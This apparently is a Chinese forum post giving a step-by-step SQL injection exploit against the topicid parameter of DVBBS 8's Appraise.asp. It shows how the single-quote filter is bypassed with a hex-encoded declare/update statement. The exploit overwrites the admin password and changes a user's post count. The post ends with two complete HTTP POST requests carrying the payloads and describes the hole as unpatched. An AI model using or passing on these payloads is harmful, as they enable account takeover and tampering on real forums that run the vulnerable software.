我这边已经假设好了一个DVBBS8 SQL:
我们先来注册一个用户,随便找个帖子。刚才弄坏了。。。。
我们来重新发个帖子。点发表评论,这里来抓包
以下是代码片段: POST /dvbbs8/Appraise.asp?action=save HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.1.91/dvbbs8/dispbbs.asp?boardID=1&ID=2&page=1 Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322) Host: 192.168.1.91 Content-Length: 91 Connection: Keep-Alive Cache-Control: no-cache Cookie: DvForum=UserID=3&usercookies=0&StatUserID=197615644&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=allyesno&password=v0qdt2f765U6x7J5&userhidden=2; w0802=3; rtime=0; ltime=1186473801000; w08_eid=88452409-http%3A//192.168.1.91/dvbbs8/index.asp%3Fboardid%3D1; geturl=%2Fdvbbs8%2Fpost%5Fupload%2Easp%3Fboardid%3D1; ASPSESSIONIDACCRCQQQ=FDKDFDBAOGGEGNICMPBANLKL; Dvbbs=cacgffcf; upNum=0
boardid=1&topicid=2&announceid=2&atype=0&a1=0&a2=0&atitle=11111&acodestr=0425&acontent=test |
OK,LET's start
LET's make fun
userpost是用户发表过的帖子数量。算错了
以下是代码片段:
script language='javascript'> <font face="宋体" size=2> p>Microsoft OLE DB Provider for SQL Server</font> <font face="宋体" size=2>错误 '80040e14'</font> p> font face="宋体" size=2>第 1 行: ';' 附近有语法错误。</font> p> font face="宋体" size=2>/dvbbs8/inc/Dv_ClsMain.asp</font><font face="宋体" siz 2>,行 1504</font> |
出现一个这个,不要管他,其实我们已经修改成功了!
文章:100
我们继续来修改,其实是这样的,程序有点小问题需要我们来解决
以下是代码片段: TopicID = Dvbbs.CheckStr(Request.Form("topicid"))
Public Function Checkstr(Str) If Isnull(Str) Then CheckStr = "" Exit Function End If Str = Replace(Str,Chr(0),"") CheckStr = Replace(Str,"'","''") End Function
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很明显过滤了单引号。。。。我们这样来饶过
还是修改一下密码吧,现在ADMIN的密码是admin888,我们来把他修改成123456
以下是代码片段: declare @a sysname select @a=0x3400390062006100350039006100620062006500350036006500300035003700 update [dv_user] set userpassword=@a where userid=1 |
这样可以修改成功!!!我们把他改回来
以下是代码片段: %3Bdeclare+@a+sysname+select+@a%3D0x3400390062006100350039006100620062006500350036006500300035003700+update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1 |
OK,这句语句也可以执行
156
看见没,已经修改成了123456
由于漏洞比较严重,请大家谨慎使用,官方还未打补丁!!!!!!
附:两段测试代码
以下是测试代码片段一: POST /dvbbs8/Appraise.asp?action=save HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.1.91/dvbbs8/dispbbs.asp?boardID=1&ID=2&page=1 Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322) Host: 192.168.1.91 Content-Length: 151 Connection: Keep-Alive Cache-Control: no-cache Cookie: DvForum=UserID=3&usercookies=0&StatUserID=197615644&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=allyesno&password=v0qdt2f765U6x7J5&userhidden=2; w0802=3; rtime=0; ltime=1186473801000; w08_eid=88452409-http%3A//192.168.1.91/dvbbs8/index.asp%3Fboardid%3D1; geturl=%2Fdvbbs8%2Fpost%5Fupload%2Easp%3Fboardid%3D1; ASPSESSIONIDACCRCQQQ=FDKDFDBAOGGEGNICMPBANLKL; Dvbbs=cacgffcf; upNum=0
boardid=1&topicid=2%3Bupdate+DV%5Fuser+set+userpost%3D100+where+userid%3D3&announceid=2&atype=0&a1=0&a2=0&atitle=11111&acodestr=0425&acontent=test |
以下是测试代码片段二: POST /dvbbs8/Appraise.asp?action=save HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.1.91/dvbbs8/dispbbs.asp?boardID=1&ID=3&page=1 Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322) Host: 192.168.1.91 Content-Length: 242 Connection: Keep-Alive Cache-Control: no-cache Cookie: DvForum=UserID=3&usercookies=0&StatUserID=197615644&userclass=%C2%DB%CC%B3%D3%CE%C3%F1&username=allyesno&password=Y1tGx4j886XtB846&userhidden=2; List=list1=1; w0802=5; rtime=0; ltime=1186474916718; w08_eid=88452409-http%3A//192.168.1.91/dvbbs8/index.asp%3Fboardid%3D1; geturl=%2Fdvbbs8%2Fpost%5Fupload%2Easp%3Fboardid%3D1; ASPSESSIONIDACCRCQQQ=FDKDFDBAOGGEGNICMPBANLKL; Dvbbs=cacgffcf; upNum=0
boardid=1&topicid=3%3Bdeclare+@a+sysname+select+@a%3D0x3400390062006100350039006100620062006500350036006500300035003700+update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1&announceid=3&atype=0&a1=0&a2=0&atitle=22&acodestr=3297&acontent=33 |